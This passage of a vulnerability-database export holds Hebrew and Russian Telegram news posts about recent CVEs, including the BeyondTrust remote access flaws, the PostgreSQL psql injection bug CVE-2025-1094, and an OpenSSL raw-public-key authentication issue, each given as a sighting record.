CVE-2024-12686\n\n- \u05d7\u05d1\u05e8\u05ea Halycon \u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05de\u05d7\u05e7\u05e8 \u05de\u05e2\u05e0\u05d9\u05d9\u05df \u05dc\u05e4\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e0\u05dc\u05d9\u05dd \u05d0\u05ea \u05de\u05e0\u05d2\u05e0\u05d5\u05df \u05d4\u05d4\u05e6\u05e4\u05e0\u05d4 \u05d4\u05de\u05d5\u05d1\u05e0\u05d4 \u05e9\u05dc \u05d0\u05de\u05d6\u05d5\u05df \u05d1\u05db\u05d3\u05d9 \u05dc\u05d4\u05e6\u05e4\u05d9\u05df \u05d1\u05d0\u05e7\u05d8\u05d9\u05dd \u05e9\u05dc \u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd \u05d5\u05dc\u05d3\u05e8\u05d5\u05e9 \u05db\u05d5\u05e4\u05e8 \n\n- \u05d4\u05de\u05db\u05dc\u05dc\u05d4 \u05d4\u05d8\u05db\u05e0\u05d5\u05dc\u05d5\u05d2\u05d9\u05ea Eindhoven \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d1\u05d9\u05d8\u05d5\u05dc \u05e9\u05d9\u05e2\u05d5\u05e8\u05d9\u05dd \u05d5\u05d4\u05e8\u05e6\u05d0\u05d5\u05ea \u05d1\u05e2\u05e7\u05d1\u05d5\u05ea \u05de\u05ea\u05e7\u05e4\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8.\n\nhttps://t.me/CyberSecurityIL/6403\n\n#\u05db\u05d5\u05e4\u05e8 #\u05d3\u05dc\u05e3_\u05de\u05d9\u05d3\u05e2", "creation_timestamp": "2025-01-14T13:41:16.000000Z"}, {"uuid": "ede8ea67-69e0-4019-95bf-1811cc3155bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/CyberSecurityIL/63765", "content": "\u05db\u05de\u05d4 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05db\u05d3\u05d0\u05d9 \u05dc\u05e9\u05d9\u05dd \u05d0\u05dc\u05d9\u05d4\u05df \u05dc\u05d1:\n\n- \u05d7\u05d1\u05e8\u05ea Fortinet \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d1\u05de\u05d5\u05e6\u05e8 FortiWLM. \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 - CVE-2023-34990 \u05de\u05e9\u05e4\u05d9\u05e2\u05d4 \u05e2\u05dc \u05d2\u05e8\u05e1\u05d0\u05d5\u05ea 8.6.0-8.6.5, 8.5.0-8.5.4.\n\n\u05d4\u05d7\u05dc\u05e7 \u05d4\u05de\u05e2\u05e0\u05d9\u05d9\u05df \u05d1\u05e1\u05d9\u05e4\u05d5\u05e8 \u05d4\u05d5\u05d0 \u05e9\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d3\u05d5\u05d5\u05d7\u05d4 \u05dc\u05e4\u05d5\u05e8\u05d8\u05d9 \u05db\u05d1\u05e8 \u05d1\u05de\u05e8\u05e5 23 \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d7\u05d5\u05e7\u05e8 \u05d0\u05d1\u05d8\"\u05de \u05d0\u05da \u05dc\u05d0 \u05d8\u05d5\u05e4\u05dc\u05d4.\n\u05dc\u05e4\u05e0\u05d9 \u05d9\u05d5\u05de\u05d9\u05d9\u05dd \u05e4\u05e8\u05e1\u05de\u05d4 \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d4\u05ea\u05d9\u05d9\u05d7\u05e1\u05d5\u05ea \u05dc\u05e0\u05d5\u05e9\u05d0 \u05e2\u05dd \u05d2\u05e8\u05e1\u05d0\u05d5\u05ea \u05de\u05ea\u05d5\u05e7\u05e0\u05d5\u05ea.\n\n\u05d1\u05e7\u05d9\u05e6\u05d5\u05e8, \u05d3\u05d9\u05d5\u05d5\u05d7 \u05e2\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05e0\u05e9\u05dc\u05d7 \u05d1\u05de\u05e8\u05e5 2023 \u05d0\u05da \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05e0\u05e1\u05d2\u05e8\u05d4 \u05e8\u05e7 \u05d0\u05d7\u05e8\u05d9 \u05d9\u05d5\u05ea\u05e8 \u05de\u05e9\u05e0\u05d4 \u05d5\u05d7\u05e6\u05d9...\n\u05d4\u05e8\u05d7\u05d1\u05d4 \u05d1\u05e0\u05d5\u05e9\u05d0 \u05db\u05d0\u05df \u05d5\u05db\u05d0\u05df\n\n- \u05d7\u05d1\u05e8\u05ea BeyondTrust \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05e1\u05d2\u05d9\u05e8\u05d4 \u05e9\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea CVE-2024-12356 \u05e9\u05e0\u05d5\u05e6\u05dc\u05d4 \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd. (CISA \u05d4\u05d5\u05e1\u05d9\u05e4\u05d5 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05dc\u05de\u05d0\u05d2\u05e8 \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05d1\u05e9\u05e0\u05ea 2024).\n\n- \u05d7\u05d1\u05e8\u05ea Sophos \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc 3 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 \u05d4-FW \u05e9\u05dc \u05d4\u05d7\u05d1\u05e8\u05d4 (2 \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d5\u05d0\u05d7\u05ea \u05d2\u05d1\u05d5\u05d4\u05d4).\n\u05d0\u05dd \u05de\u05d5\u05d2\u05d3\u05e8 \u05d0\u05e6\u05dc\u05db\u05dd \u05dc\u05d1\u05e6\u05e2 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9\u05dd \u05d1\u05d0\u05d5\u05e4\u05df \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9 \u05d0\u05d6 \u05d0\u05ea\u05dd \u05de\u05db\u05d5\u05e1\u05d9\u05dd.\n\nhttps://t.me/CyberSecurityIL/6274\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "creation_timestamp": "2024-12-20T11:32:34.000000Z"}, {"uuid": "ab164ba1-a03b-42fc-b137-d0e8fce64473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/6736", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 0-day PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0442\u0430\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 BeyondTrust Privileged Remote Access \u0438 Remote Support, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b PostgreSQL\u00a0psql\u00a0\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c SQL, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435, \u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e.\u00a0\n\n\u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00a0CVE-2024-12356, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 BeyondTrust (CVE-2024-12356) \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 PostgreSQL \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e BeyondTrust \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2024-12356 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e CVE-2024-12686, \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u043e\u043f\u043e\u0440\u044b \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Rapid7, \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u043a\u0430\u043a\u00a0psql \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0439\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 UTF-8.\n\n\u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f\u00a0\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2025-1094 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0438\u0448\u043b\u0438 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0436\u0434\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 SQL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0447\u0435\u0440\u0435\u0437\u00a0\u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u0443 psql.\n\n\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443\u00a0id\u00a0\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\u00a0\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e PostgreSQL 17.3, 16.7, 15.11, 14.16 \u0438 13.19 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0-day, \u043d\u043e \u0442\u0435\u043c \u043d\u0435\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 Rapid7.\n\nRapid7 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043c\u043e\u0434\u0443\u043b\u044c Metasploit, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f, \u0441\u0430\u043c\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 - \u043f\u043e\u043c\u0438\u043c\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb, \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0432\u043b\u0430\u0441\u0442\u0438 \u0421\u0428\u0410 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442.\n\n\u0418 \u0432\u0440\u044f\u0434 \u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u043e\u044e\u0442, \u043d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2025-02-14T11:30:06.000000Z"}, {"uuid": "dda6a01d-b410-4237-a17a-1711dba1a1a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/true_secator/6723", "content": "Apple \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c OpenSSL, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f MitM-\u0430\u0442\u0430\u043a.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u0430 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435.\u00a0\n\nCVE-2024-12797\u00a0\u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c c OpenSSL 3.2 \u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 RPK.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 RFC7250 (RPK) \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0440\u0435\u0436\u0438\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 SSL_VERIFY_PEER \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\u00a0\n\n\u0415\u0441\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442 \u043d\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 